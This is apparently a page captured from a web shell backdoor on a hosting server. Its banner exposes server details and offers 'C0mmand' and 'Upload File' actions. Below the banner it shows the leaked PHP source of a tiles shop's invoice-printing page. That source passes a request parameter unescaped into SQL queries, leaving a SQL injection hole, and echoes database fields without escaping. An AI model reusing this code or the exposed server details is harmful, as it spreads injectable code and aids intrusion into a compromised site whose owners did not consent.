Server IP : 103.53.40.154 / Your IP : 3.144.89.42 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/lizatilessolution.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once("includes/dbsmain.inc.php"); $page_name=basename($_SERVER['PHP_SELF'],'.php'); include("site-main-query.php"); $sess_id=session_id(); $site_url=$compDATA['admin_website_url']; $author = str_replace("http://","","$site_url"); ?> <?php $ordID=$_REQUEST['ordID']; $sql="SELECT * FROM tbl_invoice WHERE inv_order_num='$ordID' "; $data=db_query($sql); $recInvoice=mysqli_fetch_array($data); ?> <div align="center" style="padding:0 15% 0 15%;" > <a onClick="printData()" style="text-decoration:underline;font-size:14px"><i class="fa fa-print" aria-hidden="true"></i>Print</a> <table style="width:100%;border:solid thin #ccc;font-family:Arial, Helvetica, sans-serif" border="0" align="center" id="printTable"> <tr> <?php $sql_logo_welcome=db_query("select * from tbl_header where 1 and header_status='Active' limit 1"); if(mysqli_num_rows($sql_logo_welcome)>0){ $DATALOGO=mysqli_fetch_array($sql_logo_welcome); @extract($DATALOGO); } ?> <td align="left" style="padding:10px 10px 10px 40px"> <img alt="<?=$recInvoice['inv_comp_name']?>" title="<?=$recInvoice['inv_comp_name']?>" src="<?=$site_url?>/header_files/<?=$DATALOGO['header_logo']?>" style="width:200px"> </td> <td align="left" style="padding:0px 40px 10px 10px;white-space:nowrap"> <h3>Tax Invoice/Bill of Supply/Cash Memo</h3> </td> </tr> <tr> <td align="left" style="padding:20px 40px 10px 40px;line-height:22px"> <strong>Sold By:</strong> <br> <?=$recInvoice['inv_comp_name']?> <br> <?=$recInvoice['inv_comp_adrs']?> </td> <td align="left" style="padding:20px 0px 10px 40px;line-height:22px"> <strong>Billing Address:</strong> <?php if($recInvoice['inv_billing_adrs']=="Yes"){ echo "<br>Billing Address Is Same Shipping Address."; }else{ ?> <br> <?=$recInvoice['inv_billing_name']?> <br> <?=$recInvoice['inv_billing_adrs']?> <?}?> </td> </tr> <tr> <td align="left" style="padding:20px 40px 10px 40px;line-height:22px"> <!--<strong>PAN No:</strong> AAQCS4259Q <br>--> <strong>GST Registration No:</strong> <?=$recInvoice['inv_comp_gst_num']?> </td> <td align="left" style="padding:20px 0px 10px 40px;line-height:22px"> <strong>Shipping Address:</strong> <br> <?=$recInvoice['inv_shipping_name']?> <br> <?=$recInvoice['inv_shipping_adrs']?> </td> </tr> <tr> <td align="left" style="padding:20px 40px 10px 40px;line-height:22px"> <strong>Order Number:</strong> <?="#TCORD".$recInvoice['inv_order_num']?> <br> <strong>Order Date:</strong> <?php echo date("d-m-Y",strtotime($recInvoice['inv_order_date'])); ?> </td> <td align="left" style="padding:20px 0px 10px 40px;line-height:22px"> <strong>Invoice Number:</strong> <?=$recInvoice['inv_id']?> <br> <strong>Invoice Date:</strong> <?php //echo date("d-m-Y",strtotime($recInvoice['inv_create_date'])); //echo $Curr_Date; echo date("d-m-Y"); ?> </td> </tr> <tr> <td colspan="2" style="padding-top:30px;padding-bottom:30px"> <?php $ord=$ordID; $sql="SELECT * FROM tbl_order_detail WHERE 1 AND order_id='$ord'"; $data=db_query($sql); $ordCount=mysqli_num_rows($data); if($ordCount>0){ ?> <!--orders list table--> <table width="100%"> <thead> <tr style="background-color:#999"> <!--titles for td--> <th>S.N.</th> <th>Description</th> <th>Order Date</th> <th>Unit Price</th> <th>Quantity</th> <th>Price</th> </tr> </thead> <tbody> <?php $c=0; while($ord_row=mysqli_fetch_array($data)){ $prdNAME=db_scalar("SELECT category_name FROM tbl_category WHERE category_id='$ord_row[product_id]'"); //$prdIMAGE=db_scalar("SELECT category_image_name FROM tbl_category WHERE category_id='$ord_row[product_id]'"); $c++; //$sql="SELECT category_parent_id FROM tbl_category WHERE category_id='$ord_row[product_id]'"; //$parentID=db_scalar($sql); //$sql="SELECT category_name FROM tbl_category WHERE category_id='$parentID'"; //$CatName=db_scalar($sql); //$prdIMAGE=db_scalar("SELECT category_image_name FROM tbl_category WHERE category_id='$recOrder[product_id]'"); $sql="SELECT category_image_ids FROM tbl_category WHERE category_id='$ord_row[product_id]' AND category_for_stock='Yes' "; $mainImageBasket=db_scalar($sql); if(strstr($mainImageBasket,",")){ $mainImageBasket=@explode(",",$mainImageBasket); $mainImageBasket=$mainImageBasket[0]; }else{ $mainImageBasket=$mainImageBasket; } $mainImageNameBasket=db_scalar("SELECT category_image_name FROM tbl_category_image WHERE category_image_id='$mainImageBasket'"); $sql="SELECT * FROM tbl_category WHERE category_id='$ord_row[product_id]' AND category_for_stock='Yes' "; $dataMainItemBasket=db_query($sql); $itemMainBasket=mysqli_fetch_array($dataMainItemBasket); ?> <tr> <!--order number--> <td align="center"><?=$c?> </td> <!--order date--> <td style="padding-left:50px"><p class="product-name" ><?=$prdNAME?> <!--(<strong>Color :</strong> <?=$itemMainBasket['category_color']?>, <strong>Size :</strong> <?=$itemMainBasket['category_size']?>)--></p> </td> <td align="center"><?=date("d/m/Y",strtotime($ord_row['order_date']))?></td> <td align="center"><?=$ord_row['product_unit_price']?></td> <td align="center"><?=$ord_row['product_qty']?></td> <!--quanity--> <td align="center" ><span class="order-total"><i class='fa fa-inr'></i> <?=round($ord_row['product_price'],2)?></span></td> </tr> <?php } ?> </table> <?php $c++; } ?> </td> </tr> <tr> <td colspan="2" style="border-top:solid thin #ccc;padding:0 0 4px 0" ></td> </tr> <tr> <td colspan="2" > <div style="float:right;padding-right:30px"> <strong>Sub Total : </strong> <i class="fa fa-inr"></i> <?php echo $recInvoice['inv_sub_total'];?> </div> </td> </tr> <tr> <td colspan="2" > <div style="float:right;padding-right:30px"> <strong>Tax (GST) : </strong> <i class="fa fa-inr"></i> <?php echo $recInvoice['inv_gst_amount'];?> </div> </td> </tr> <tr> <td colspan="2" > <div style="float:right;padding-right:30px"> <strong>Grand Total : </strong> <i class="fa fa-inr"></i> <?php echo $recInvoice['inv_grand_total'];?> </div> </td> </tr> </tbody> </table> <script> function printData() { var divToPrint=document.getElementById("printTable"); newWin= window.open(""); newWin.document.write(divToPrint.outerHTML); newWin.print(); newWin.close(); } </script>